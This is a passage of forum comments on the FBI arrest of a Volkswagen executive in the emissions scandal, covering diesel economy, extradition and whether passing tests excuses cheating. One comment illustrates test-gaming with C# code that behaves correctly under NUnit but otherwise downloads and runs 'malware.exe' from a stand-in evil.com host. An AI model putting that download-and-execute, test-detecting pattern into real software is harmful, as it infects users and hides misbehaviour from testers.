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F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal

nytimes.com

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Re: F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal

#91

Post by arprocter »

gambiting wrote: post #83
disiplus wrote: post #42

Earlier quoted context omitted.

diesels are popular in europe for one reason that probably somebody from us will not understand. the price of fuel. because the price of fuel is so much bigger fuel efficiency is the biggest concern

I've stopped worrying about it completely. I used to have a Nissan Qashqai, with a 1.6dCi engine - my average diesel consumption for 3 years I had that car, was about 7.0L/100km. I now have a Mercedes with a 2.0L turbocharged petrol engine - my average consumption so far is 8.5L/100km of petrol. My fiancee has a VW Polo with a 1.2L petrol engine, and she averages 6.5L/100km of petrol. I literally don't see a point of…

Probably fairer to compare your Mercedes to the same model with a diesel engine, and likewise your Nissan.

Wiki says the 1.6dCi is available in 130-180hp whereas the 1.6 petrol has 107-116hp

Fuel consumption will vary due to a lot of different factors, such as aerodynamics, transmission, driving style etc.

Re: F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal

#92

Post by zde »

literallycancer wrote: post #81
londons_explore wrote: post #74

Earlier quoted context omitted.

This is not the case. If it were the case, the regulations would say "No more than X NOX emitted per mile, even when climbing Mount Everest, even when 5 years old, even when poorly maintained, and even when used with low quality fuel, and in all other conditions anyone might put them in." That clearly isn't reasonable, so instead the rules are written to say "They must pass XYZ tests". As long as those tests are pass…

There is such thing as "evading the law" you know. It's not enough that you satisfy the regulation, if you act against the intent of the law in other ways. Or perhaps it's different in the US, but that's what I would expect in most of Europe.

It seems that the main difference between law evasion (which is illegal) and law avoidance (which is legal) is that evasion is concealed.

https://www.crunch.co.uk/blog/startup-advice/2015/05/20/tax-...

Since VW has admitted to detecting test conditions, it's now no longer evading the regulations but avoiding it, right?

Re: F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal

#93

Post by bluGill »

LordKano wrote: post #67
disiplus wrote: post #42

Earlier quoted context omitted.

diesels are popular in europe for one reason that probably somebody from us will not understand. the price of fuel. because the price of fuel is so much bigger fuel efficiency is the biggest concern

A big part of diesel's fuel efficiency advantage is caused by the emissions controls on gasoline powered vehicles. Vehicles from the early 70s often had similar gas mileage to smaller lighter vehicles from the late 90s-early 2000s but the newer cars had much better emissions. If the makers of gasoline powered cars had cheated like VW did on their diesels, the diesel advantage would have been nonexistent.

Even if you had no emissions laws diesel would still have a large fuel consumption advantage. Diesel contains more energy per volume (139000 btu/gallon vs 124000 btu/gallon).

In addition the design of a diesel engine does not require a strict stoichiometric air/fuel ration. The result is at less than full throttle the gasoline engine the efficiency of a gasoline engine drops off faster than a diesel engine. In an ideal efficiency engine (no emissions) a gasoline engine at full throttle is more fuel efferent than a diesel engine, but when at less than full throttle - which is where most engine spend all their time) the diesel engine is more efficient. Note I skipped a dozen pages of disclaimers on the above claim: there are many ways in the real world to cheat the above.

Re: F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal

#94

Post by Nitramp »

eli_gottlieb wrote: post #87
usrusr wrote: post #20

Earlier quoted context omitted.

Making cars is "statistical murder". Bad schools are "statistical murder". Selling cheesecake is "statistical murder". Enforce the laws you have to help keeping honest people honest, but please do not selectively blow individual cases out of proportion with gut appeal tactics.

>Making cars is "statistical murder". Bad schools are "statistical murder". Selling cheesecake is "statistical murder". Yeah, the question is how much . Cheating on emissions tests is definitely more murder than selling cheesecake.

> Yeah, the question is how much. Cheating on emissions tests is definitely more murder than selling cheesecake.

Is it?

https://www.washingtonpost.com/news/to-your-health/wp/2015/0...

> Scientists are asking people across the globe to lay off sugary drinks, linking the consumption to an estimated 184,000 adult deaths each year, including more than 25,000 Americans.

I wouldn't expect cheesecake to fare much differently.

Re: F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal

#95

Post by bluGill »

gst wrote: post #45

I'm surprised that he decided to stay in the United States. Germany doesn't extradite its own citizens to countries outside the EU (except in very limited cases such as war criminals), so he would have been perfectly safe if he'd moved back to Germany. And even if he would have been sentenced in Germany the sentences handed out in such cases are _much_ more relaxed than the potential sentence he's facing in the Unite…

Germany will extradite in most cases. Here is the treaty if you want to read the fine print http://www.mcnabbassociates.com/Germany%20International%20Ex...

Re: F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal

#96

Post by disiplus »

arprocter wrote: post #91
gambiting wrote: post #83

Earlier quoted context omitted.

I've stopped worrying about it completely. I used to have a Nissan Qashqai, with a 1.6dCi engine - my average diesel consumption for 3 years I had that car, was about 7.0L/100km. I now have a Mercedes with a 2.0L turbocharged petrol engine - my average consumption so far is 8.5L/100km of petrol. My fiancee has a VW Polo with a 1.2L petrol engine, and she averages 6.5L/100km of petrol. I literally don't see a point of…

Probably fairer to compare your Mercedes to the same model with a diesel engine, and likewise your Nissan. Wiki says the 1.6dCi is available in 130-180hp whereas the 1.6 petrol has 107-116hp Fuel consumption will vary due to a lot of different factors, such as aerodynamics, transmission, driving style etc.

he probably means its not that big of a difference for him. and sure, if you dont drive a lot then it does not matter.

when i drove 30k per year i drove a diesel, now im driving 15k per year and drive a gasoline car.

Re: F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal

#97

Post by LeifCarrotson »

zde wrote: post #51

I don't get this. VW (and other car manufacturers) did NOT cheat. Their cars have (AFAIK) passed all the emission tests required. Do they produce more emissions outside the test envelope? You cry on wrong grave then...

Passing tests is not sufficient to determine that they should not be charged with criminal behavior. For example, if you hired someone to write some code, and required that passed an NUnit test suite you provided, and they delivered:

    public double ComputeAverage(List values)
      // If being tested, return the correct result
      if (AppDomain.CurrentDomain.GetAssemblies().Any((assembly)=>assembly.FullName.StartsWith("NUnit.Framework")))
      {
        return values.average();
      }
      // If not running in test suite, download malware and return wrong values
      else
      {
        Net.DownloadFile("http://www.evil.com/file", "malware.exe");
        Process.Start("malware.exe");
        return 42;
      }
    }
...would you feel satisfied with their work? No. You would be annoyed at them for violating the clear intent of the requirement, but let's imagine for a minute that you somehow couldn't convince a court that they failed to deliver, and evaded the contract.

What happened here was that the attorney general asked "Hey, we see that you passed the test, but when we run it in other contexts, we see bad things happening - wrong results returned, and malware being downloaded. Did you make it do the wrong thing, and download malware?"

And Oliver Schmidt, representing Volkswagen, answered "No."

That's where the crime being discussed here occurred. The evasion of the of the law, rather than operating in good faith to have the product perform the same in the test as in normal operation, resulted in the fines that have been levied to the company. But lying to regulators is why Schmidt is being criminally charged.

Re: F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal

#98

Post by zde »

freehunter wrote: post #80
londons_explore wrote: post #74

Earlier quoted context omitted.

This is not the case. If it were the case, the regulations would say "No more than X NOX emitted per mile, even when climbing Mount Everest, even when 5 years old, even when poorly maintained, and even when used with low quality fuel, and in all other conditions anyone might put them in." That clearly isn't reasonable, so instead the rules are written to say "They must pass XYZ tests". As long as those tests are pass…

The problem with your reasoning is that these cars were designed to not meet the emissions requirements from the factory . From day one, they were only designed to meet the emissions standards during the testing, not on the road. They were purposefully designed to cheat on the test. Your statement would be true if test performance varied from real-world performance due to environmental factors, but that's not the cas…

> Your statement would be true if test performance varied from real-world performance due to environmental factors, but that's not the case.

..or due to engine temperature, speed, gear, gas pedal position and tons of other variables WHICH IS the case. That's why emission requirements are (and must be) test-specific.

Re: F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal

#99

Post by scott_s »

londons_explore wrote: post #74
ddeck wrote: post #54

Earlier quoted context omitted.

Cars aren't only required to pass emissions tests, they're required to have their emissions within the specified limits at all times. The purpose of the tests is to ensure compliance.

This is not the case. If it were the case, the regulations would say "No more than X NOX emitted per mile, even when climbing Mount Everest, even when 5 years old, even when poorly maintained, and even when used with low quality fuel, and in all other conditions anyone might put them in." That clearly isn't reasonable, so instead the rules are written to say "They must pass XYZ tests". As long as those tests are pass…

Laws are not software programs. Intent is a part of them, and it was clear the intent was for the testing to be representative of actual usage. It was not because the cars detected a test and changed behavior. That's a clear attempt to circumvent the regulation.

Re: F.B.I. Arrests Volkswagen Executive on Conspiracy Charges in Emissions Scandal

#100

Post by xenadu02 »

gst wrote: post #45

I'm surprised that he decided to stay in the United States. Germany doesn't extradite its own citizens to countries outside the EU (except in very limited cases such as war criminals), so he would have been perfectly safe if he'd moved back to Germany. And even if he would have been sentenced in Germany the sentences handed out in such cases are _much_ more relaxed than the potential sentence he's facing in the Unite…

It's called "Faling on your sword".

The idea that VW would come out of this with no executives going to prison is laughable. They broke black-letter law. It wasn't just recklessness. There is no plausible deniability. They straight-up cheated. They knew they cheated. Management endorsed the cheating. When the initial investigation got going they lied about cheating.

My guess is a number of execs will plead guilty before this is all over.

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